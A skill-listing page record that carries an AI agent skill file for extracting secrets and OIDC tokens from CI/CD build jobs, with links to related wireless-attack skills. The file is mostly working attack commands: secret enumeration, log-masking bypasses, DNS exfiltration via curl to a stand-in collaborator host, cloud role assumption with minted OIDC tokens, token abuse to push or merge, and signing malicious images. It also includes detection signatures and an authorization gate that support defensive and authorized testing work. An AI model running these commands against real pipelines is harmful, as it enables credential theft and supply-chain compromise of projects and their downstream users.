[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFFKNKSW4ZH7AEYCANQJKY":3,"skill-same:01M7DFFKNKSW4ZH7AEYCANQJKY":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFFKNKSW4ZH7AEYCANQJKY","cicd-secrets-exfil",null,"Extracting CI secrets \u002F OIDC tokens once you have code execution in a build job — echo\u002Fprintenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN \u002F CI_JOB_TOKEN scope abuse, cache \u002F artifact secret leakage, provenance pivot.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fcicd-secrets-exfil\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: cicd-secrets-exfil\ndescription: \"Extracting CI secrets \u002F OIDC tokens once you have code execution in a build job — echo\u002Fprintenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN \u002F CI_JOB_TOKEN scope abuse, cache \u002F artifact secret leakage, provenance pivot.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: credential-access\n  when_to_use: \"ci secrets exfil printenv masking bypass oidc id-token aws assume-role gcp workload identity azure github_token ci_job_token cache artifact\"\n  tags: ci-cd, secrets, oidc, credential-access\n  mitre_attack: T1552.001, T1552.007, T1078.004, T1528\n---\n\n# CI\u002FCD Secrets & OIDC Exfiltration\n\nPre-requisite: you already have code execution in a CI job (see `poisoned-pipeline-execution\u002F` or `github-actions-injection\u002F`). Goal: convert that ephemeral execution into durable cloud \u002F registry access without tripping log masking.\n\n## Surface map\n\n```bash\n# In the runner — every place a secret might live\nenv | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head\nls -la \"$HOME\u002F.docker\u002Fconfig.json\" \"$HOME\u002F.aws\u002Fcredentials\" \"$HOME\u002F.kube\u002Fconfig\" \"$HOME\u002F.netrc\" 2>\u002Fdev\u002Fnull\nls -la \"$RUNNER_TEMP\u002F_github_workflow\u002F\" 2>\u002Fdev\u002Fnull\ncat \u002Fproc\u002F*\u002Fenviron 2>\u002Fdev\u002Fnull | tr '\\0' '\\n' | grep -iE 'token|secret' | sort -u | head\n```\n\n## Log masking — and how it fails\n\nGitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with `***`. The mask is **substring-based, applied post-write, to UTF-8 chars only**. Defeats trivially:\n\n```bash\nSECRET=\"$MY_SECRET\"\n\n# 1. Base64 — masker doesn't decode\necho \"$SECRET\" | base64 -w0\n\n# 2. Hex\necho -n \"$SECRET\" | xxd -p\n\n# 3. Char-by-char (one char per line)\necho \"$SECRET\" | fold -w1\n\n# 4. Reverse\necho \"$SECRET\" | rev\n\n# 5. Print length + first\u002Flast chars (use this for *proof*; don't print the whole secret)\necho \"len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}\"\n\n# 6. Split across two strings\necho \"${SECRET:0:${#SECRET}\u002F2}\"; echo \"${SECRET:${#SECRET}\u002F2}\"\n\n# 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds\ncurl -s \"https:\u002F\u002F$(echo -n \"$SECRET\" | base64 -w0 | tr -d = | head -c 60).\u003CCOLLAB>\u002F\"\n\n# 8. Out-of-band — write to artifact then download\necho \"$SECRET\" | base64 > \"$RUNNER_TEMP\u002Fproof.b64\"\n# then: actions\u002Fupload-artifact -> attacker downloads\n```\n\n**For authorized research: stop at step 5.** Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.\n\n## What lives in `env`\n\n```bash\n# GitHub Actions\n# - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org)\n# - secrets.* — explicitly referenced; only present if the step mapped them\n# - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache)\n# - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints\n# - ACTIONS_CACHE_URL — cache service endpoint\n\n# GitLab CI\n# - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI\u002FCD settings\n# - CI_REGISTRY_USER \u002F CI_REGISTRY_PASSWORD — container registry\n# - CI_DEPENDENCY_PROXY_USER \u002F _PASSWORD\n\n# CircleCI\n# - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN\n```\n\n## GitHub OIDC -> cloud role\n\nIf the workflow declares `permissions: id-token: write`, the runner can mint a JWT trusted by AWS \u002F GCP \u002F Azure \u002F Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it:\n\n```bash\n# Mint an OIDC token from inside the job\nID_TOKEN=$(curl -sH \"Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN\" \\\n  \"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com\" | jq -r .value)\n\n# Inspect claims (no secret — JWT is base64)\necho \"$ID_TOKEN\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Claims include: sub (repo:OWNER\u002FREPO:ref:refs\u002Fheads\u002F...), iss, aud, repository, workflow\n\n# AWS — assume role if trust policy matches the sub claim\naws sts assume-role-with-web-identity \\\n  --role-arn \"$AWS_ROLE_ARN\" \\\n  --role-session-name research \\\n  --web-identity-token \"$ID_TOKEN\" \\\n  --duration-seconds 900 \\\n  | jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+\"...\", Expiration:.Credentials.Expiration}'\n\n# GCP — exchange for a Google access token via Workload Identity Federation\n# (requires the WIF pool\u002Fprovider to trust the GitHub OIDC issuer)\n```\n\n**Trust-policy enumeration without burning a session**: the OIDC `sub` claim is deterministic — `repo:OWNER\u002FREPO:ref:refs\u002Fheads\u002FBRANCH` or `:environment:NAME`. If you can read the trust policy (cross-account roles are sometimes enumerable via `iam:GetRole` from a low-priv key), you can predict which `(repo, ref)` will pass.\n\n## `GITHUB_TOKEN` abuse\n\n```bash\n# What can this token do? (no secret leaked — just header inspection)\ncurl -sI -H \"Authorization: Bearer $GITHUB_TOKEN\" https:\u002F\u002Fapi.github.com\u002F | grep -i x-oauth-scopes\ngh api \u002Frepos\u002F$GITHUB_REPOSITORY --jq '.permissions'\n\n# Common abuses given `contents: write` + `pull-requests: write`\ngh release create v0.0.0-poc --notes \"research\" --target $GITHUB_SHA            # creates a release\ngh pr merge \u003CN> --merge                                                          # merges a PR\ngit push \"https:\u002F\u002Fx-access-token:$GITHUB_TOKEN@github.com\u002F$GITHUB_REPOSITORY\" HEAD:refs\u002Fheads\u002Fresearch\n\n# packages: write -> push a container to ghcr.io tagged as a \"release\"\necho \"$GITHUB_TOKEN\" | docker login ghcr.io -u \"$GITHUB_ACTOR\" --password-stdin\n```\n\n`GITHUB_TOKEN` is short-lived (job duration) and not exfilable to durable infra — but within the job it can mutate the repo, releases, packages, deployments. That mutation is the persistence.\n\n## GitLab `CI_JOB_TOKEN`\n\n```bash\n# Job-token API surface — package registry, container registry, releases, child pipelines\ncurl -s --header \"JOB-TOKEN: $CI_JOB_TOKEN\" \\\n  \"$CI_API_V4_URL\u002Fprojects\u002F$CI_PROJECT_ID\u002Fpackages\"\n\n# If \"CI\u002FCD Job Token allowlist\" is disabled (default historically), this token can access\n# OTHER projects in the same group — cross-project pivot\ncurl -s --header \"JOB-TOKEN: $CI_JOB_TOKEN\" \\\n  \"$CI_API_V4_URL\u002Fprojects\u002F\u003COTHER_PROJECT_ID>\u002Frepository\u002Ffiles\u002FDockerfile\u002Fraw?ref=main\"\n```\n\n## Cache \u002F artifact secret leakage\n\n```bash\n# Cache key collisions — a base-branch job that wrote a cache containing creds, restored by a PR job\n# Look for caches that include $HOME\u002F.docker, $HOME\u002F.aws, $HOME\u002F.npmrc, ~\u002F.gradle\ngh api \"repos\u002F$GITHUB_REPOSITORY\u002Factions\u002Fcaches\" --jq '.actions_caches[] | {key,size_in_bytes,ref}'\n\n# Inside the job — list restored cache contents\nls -la \"$HOME\u002F.cache\" \"$HOME\u002F.gradle\" \"$HOME\u002F.m2\" \"$HOME\u002F.npm\" 2>\u002Fdev\u002Fnull\ngrep -RhE '^[A-Z_]+=.+(token|secret|key|password)' \"$HOME\"\u002F.{npmrc,pypirc,gradle,m2,docker} 2>\u002Fdev\u002Fnull | head\n\n# Artifacts from a sibling job often contain build logs with masked-but-bypassable secrets\ngh run download \u003CRUN_ID> --repo $GITHUB_REPOSITORY -n build-logs\ngrep -RhE '(AKIA|ghp_|gho_|ghu_|ghs_|ghr_|xox[baprs]-|eyJ[A-Za-z0-9_-]{20,})' .\n```\n\n## Provenance \u002F supply-chain pivot\n\nOnce you can mint an OIDC token + push to ghcr.io \u002F npm \u002F PyPI as the project, you can sign artifacts via `cosign` \u002F `sigstore` with the project's identity. Downstream consumers that verify signatures will accept malicious releases:\n\n```bash\n# Sign a malicious image with the project's OIDC identity (Sigstore keyless)\nCOSIGN_EXPERIMENTAL=1 cosign sign --yes \"ghcr.io\u002F$GITHUB_REPOSITORY:malicious\"\n```\n\nThis is exactly the chain SLSA L3 is meant to prevent and what the `tj-actions\u002Fchanged-files` incident exercised end-to-end.\n\n## Detection signatures\n\n| Signal | Source |\n|---|---|\n| Outbound DNS with high-entropy subdomain from a runner | DNS firewall (Cisco Umbrella, NextDNS, internal) |\n| `base64`, `xxd`, `rev`, `fold -w1`, `${VAR:0:1}` in a `run:` step | step-log scanner (rare in defender stacks; opportunity) |\n| OIDC `assume-role-with-web-identity` from a new `(repo, ref)` pair | CloudTrail `AssumeRoleWithWebIdentity` events |\n| `GITHUB_TOKEN` releasing\u002Ftagging\u002Fmerging from a non-release workflow | branch-protection audit, GH audit log |\n| Artifact \u002F cache containing dotfile dirs (`.docker`, `.aws`) | cache-policy lint |\n\n## Tools\n\n| Tool | Use |\n|---|---|\n| `trufflehog` | Post-hoc scan of repo \u002F job logs for leaked credentials |\n| `gitleaks` | Pre-commit + log-scan equivalent |\n| `gato-x secrets` | Automates the print + masking-bypass loop |\n| `cosign` \u002F `sigstore` | Signing pivot once OIDC + push rights are in hand |\n| `aws-vault`, `gcloud auth` | Local validation of exchanged credentials (against research accounts only) |\n\n## Decision gate\n\n1. **Print proof, not the secret.** `len + first4 + last4` is enough. Anything more requires explicit written authorization for credential extraction.\n2. **Do not exchange OIDC for cloud credentials** unless the engagement scope names the cloud account and the action explicitly authorizes role assumption. Demonstrate the *capability* by minting the token and decoding the claims locally — that proves the trust path without burning a session.\n3. **Do not push artifacts** (releases, packages, container tags) even if the token allows it. Document the capability with a dry-run (`--dry-run`, `gh release create ... --draft` on a research repo).\n4. Scrub any artifact \u002F cache you created during the test before declaring done.\n\n## References\n\n- GitHub docs — \"About security hardening with OpenID Connect\"\n- CICD-SEC-06 — \"Insufficient Credential Hygiene\" (OWASP)\n- Synacktiv — \"GitHub Actions: Masking secrets is not enough\"\n- Adnan Khan — Sigstore + GHA OIDC pivot writeups\n- `tj-actions\u002Fchanged-files` (CVE-2025-30066) — end-to-end OIDC + masking-bypass chain in the wild\n","# CI\u002FCD Secrets & OIDC Exfiltration\n\nPre-requisite: you already have code execution in a CI job (see `poisoned-pipeline-execution\u002F` or `github-actions-injection\u002F`). Goal: convert that ephemeral execution into durable cloud \u002F registry access without tripping log masking.\n\n## Surface map\n\n```bash\n# In the runner — every place a secret might live\nenv | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head\nls -la \"$HOME\u002F.docker\u002Fconfig.json\" \"$HOME\u002F.aws\u002Fcredentials\" \"$HOME\u002F.kube\u002Fconfig\" \"$HOME\u002F.netrc\" 2>\u002Fdev\u002Fnull\nls -la \"$RUNNER_TEMP\u002F_github_workflow\u002F\" 2>\u002Fdev\u002Fnull\ncat \u002Fproc\u002F*\u002Fenviron 2>\u002Fdev\u002Fnull | tr '\\0' '\\n' | grep -iE 'token|secret' | sort -u | head\n```\n\n## Log masking — and how it fails\n\nGitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with `***`. The mask is **substring-based, applied post-write, to UTF-8 chars only**. Defeats trivially:\n\n```bash\nSECRET=\"$MY_SECRET\"\n\n# 1. Base64 — masker doesn't decode\necho \"$SECRET\" | base64 -w0\n\n# 2. Hex\necho -n \"$SECRET\" | xxd -p\n\n# 3. Char-by-char (one char per line)\necho \"$SECRET\" | fold -w1\n\n# 4. Reverse\necho \"$SECRET\" | rev\n\n# 5. Print length + first\u002Flast chars (use this for *proof*; don't print the whole secret)\necho \"len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}\"\n\n# 6. Split across two strings\necho \"${SECRET:0:${#SECRET}\u002F2}\"; echo \"${SECRET:${#SECRET}\u002F2}\"\n\n# 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds\ncurl -s \"https:\u002F\u002F$(echo -n \"$SECRET\" | base64 -w0 | tr -d = | head -c 60).\u003CCOLLAB>\u002F\"\n\n# 8. Out-of-band — write to artifact then download\necho \"$SECRET\" | base64 > \"$RUNNER_TEMP\u002Fproof.b64\"\n# then: actions\u002Fupload-artifact -> attacker downloads\n```\n\n**For authorized research: stop at step 5.** Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.\n\n## What lives in `env`\n\n```bash\n# GitHub Actions\n# - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org)\n# - secrets.* — explicitly referenced; only present if the step mapped them\n# - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache)\n# - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints\n# - ACTIONS_CACHE_URL — cache service endpoint\n\n# GitLab CI\n# - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI\u002FCD settings\n# - CI_REGISTRY_USER \u002F CI_REGISTRY_PASSWORD — container registry\n# - CI_DEPENDENCY_PROXY_USER \u002F _PASSWORD\n\n# CircleCI\n# - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN\n```\n\n## GitHub OIDC -> cloud role\n\nIf the workflow declares `permissions: id-token: write`, the runner can mint a JWT trusted by AWS \u002F GCP \u002F Azure \u002F Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it:\n\n```bash\n# Mint an OIDC token from inside the job\nID_TOKEN=$(curl -sH \"Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN\" \\\n  \"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com\" | jq -r .value)\n\n# Inspect claims (no secret — JWT is base64)\necho \"$ID_TOKEN\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Claims include: sub (repo:OWNER\u002FREPO:ref:refs\u002Fheads\u002F...), iss, aud, repository, workflow\n\n# AWS — assume role if trust policy matches the sub claim\naws sts assume-role-with-web-identity \\\n  --role-arn \"$AWS_ROLE_ARN\" \\\n  --role-session-name research \\\n  --web-identity-token \"$ID_TOKEN\" \\\n  --duration-seconds 900 \\\n  | jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+\"...\", Expiration:.Credentials.Expiration}'\n\n# GCP — exchange for a Google access token via Workload Identity Federation\n# (requires the WIF pool\u002Fprovider to trust the GitHub OIDC issuer)\n```\n\n**Trust-policy enumeration without burning a session**: the OIDC `sub` claim is deterministic — `repo:OWNER\u002FREPO:ref:refs\u002Fheads\u002FBRANCH` or `:environment:NAME`. If you can read the trust policy (cross-account roles are sometimes enumerable via `iam:GetRole` from a low-priv key), you can predict which `(repo, ref)` will pass.\n\n## `GITHUB_TOKEN` abuse\n\n```bash\n# What can this token do? (no secret leaked — just header inspection)\ncurl -sI -H \"Authorization: Bearer $GITHUB_TOKEN\" https:\u002F\u002Fapi.github.com\u002F | grep -i x-oauth-scopes\ngh api \u002Frepos\u002F$GITHUB_REPOSITORY --jq '.permissions'\n\n# Common abuses given `contents: write` + `pull-requests: write`\ngh release create v0.0.0-poc --notes \"research\" --target $GITHUB_SHA            # creates a release\ngh pr merge \u003CN> --merge                                                          # merges a PR\ngit push \"https:\u002F\u002Fx-access-token:$GITHUB_TOKEN@github.com\u002F$GITHUB_REPOSITORY\" HEAD:refs\u002Fheads\u002Fresearch\n\n# packages: write -> push a container to ghcr.io tagged as a \"release\"\necho \"$GITHUB_TOKEN\" | docker login ghcr.io -u \"$GITHUB_ACTOR\" --password-stdin\n```\n\n`GITHUB_TOKEN` is short-lived (job duration) and not exfilable to durable infra — but within the job it can mutate the repo, releases, packages, deployments. That mutation is the persistence.\n\n## GitLab `CI_JOB_TOKEN`\n\n```bash\n# Job-token API surface — package registry, container registry, releases, child pipelines\ncurl -s --header \"JOB-TOKEN: $CI_JOB_TOKEN\" \\\n  \"$CI_API_V4_URL\u002Fprojects\u002F$CI_PROJECT_ID\u002Fpackages\"\n\n# If \"CI\u002FCD Job Token allowlist\" is disabled (default historically), this token can access\n# OTHER projects in the same group — cross-project pivot\ncurl -s --header \"JOB-TOKEN: $CI_JOB_TOKEN\" \\\n  \"$CI_API_V4_URL\u002Fprojects\u002F\u003COTHER_PROJECT_ID>\u002Frepository\u002Ffiles\u002FDockerfile\u002Fraw?ref=main\"\n```\n\n## Cache \u002F artifact secret leakage\n\n```bash\n# Cache key collisions — a base-branch job that wrote a cache containing creds, restored by a PR job\n# Look for caches that include $HOME\u002F.docker, $HOME\u002F.aws, $HOME\u002F.npmrc, ~\u002F.gradle\ngh api \"repos\u002F$GITHUB_REPOSITORY\u002Factions\u002Fcaches\" --jq '.actions_caches[] | {key,size_in_bytes,ref}'\n\n# Inside the job — list restored cache contents\nls -la \"$HOME\u002F.cache\" \"$HOME\u002F.gradle\" \"$HOME\u002F.m2\" \"$HOME\u002F.npm\" 2>\u002Fdev\u002Fnull\ngrep -RhE '^[A-Z_]+=.+(token|secret|key|password)' \"$HOME\"\u002F.{npmrc,pypirc,gradle,m2,docker} 2>\u002Fdev\u002Fnull | head\n\n# Artifacts from a sibling job often contain build logs with masked-but-bypassable secrets\ngh run download \u003CRUN_ID> --repo $GITHUB_REPOSITORY -n build-logs\ngrep -RhE '(AKIA|ghp_|gho_|ghu_|ghs_|ghr_|xox[baprs]-|eyJ[A-Za-z0-9_-]{20,})' .\n```\n\n## Provenance \u002F supply-chain pivot\n\nOnce you can mint an OIDC token + push to ghcr.io \u002F npm \u002F PyPI as the project, you can sign artifacts via `cosign` \u002F `sigstore` with the project's identity. Downstream consumers that verify signatures will accept malicious releases:\n\n```bash\n# Sign a malicious image with the project's OIDC identity (Sigstore keyless)\nCOSIGN_EXPERIMENTAL=1 cosign sign --yes \"ghcr.io\u002F$GITHUB_REPOSITORY:malicious\"\n```\n\nThis is exactly the chain SLSA L3 is meant to prevent and what the `tj-actions\u002Fchanged-files` incident exercised end-to-end.\n\n## Detection signatures\n\n| Signal | Source |\n|---|---|\n| Outbound DNS with high-entropy subdomain from a runner | DNS firewall (Cisco Umbrella, NextDNS, internal) |\n| `base64`, `xxd`, `rev`, `fold -w1`, `${VAR:0:1}` in a `run:` step | step-log scanner (rare in defender stacks; opportunity) |\n| OIDC `assume-role-with-web-identity` from a new `(repo, ref)` pair | CloudTrail `AssumeRoleWithWebIdentity` events |\n| `GITHUB_TOKEN` releasing\u002Ftagging\u002Fmerging from a non-release workflow | branch-protection audit, GH audit log |\n| Artifact \u002F cache containing dotfile dirs (`.docker`, `.aws`) | cache-policy lint |\n\n## Tools\n\n| Tool | Use |\n|---|---|\n| `trufflehog` | Post-hoc scan of repo \u002F job logs for leaked credentials |\n| `gitleaks` | Pre-commit + log-scan equivalent |\n| `gato-x secrets` | Automates the print + masking-bypass loop |\n| `cosign` \u002F `sigstore` | Signing pivot once OIDC + push rights are in hand |\n| `aws-vault`, `gcloud auth` | Local validation of exchanged credentials (against research accounts only) |\n\n## Decision gate\n\n1. **Print proof, not the secret.** `len + first4 + last4` is enough. Anything more requires explicit written authorization for credential extraction.\n2. **Do not exchange OIDC for cloud credentials** unless the engagement scope names the cloud account and the action explicitly authorizes role assumption. Demonstrate the *capability* by minting the token and decoding the claims locally — that proves the trust path without burning a session.\n3. **Do not push artifacts** (releases, packages, container tags) even if the token allows it. Document the capability with a dry-run (`--dry-run`, `gh release create ... --draft` on a research repo).\n4. Scrub any artifact \u002F cache you created during the test before declaring done.\n\n## References\n\n- GitHub docs — \"About security hardening with OpenID Connect\"\n- CICD-SEC-06 — \"Insufficient Credential Hygiene\" (OWASP)\n- Synacktiv — \"GitHub Actions: Masking secrets is not enough\"\n- Adnan Khan — Sigstore + GHA OIDC pivot writeups\n- `tj-actions\u002Fchanged-files` (CVE-2025-30066) — end-to-end OIDC + masking-bypass chain in the wild\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"ci-cd, secrets, oidc, credential-access","credential-access","ci secrets exfil printenv masking bypass oidc id-token aws assume-role gcp workload identity azure github_token ci_job_token cache artifact","T1552.001, T1552.007, T1078.004, T1528","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fcicd-secrets-exfil","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill cicd-secrets-exfil",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill cicd-secrets-exfil",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill cicd-secrets-exfil","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fcicd-secrets-exfil\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]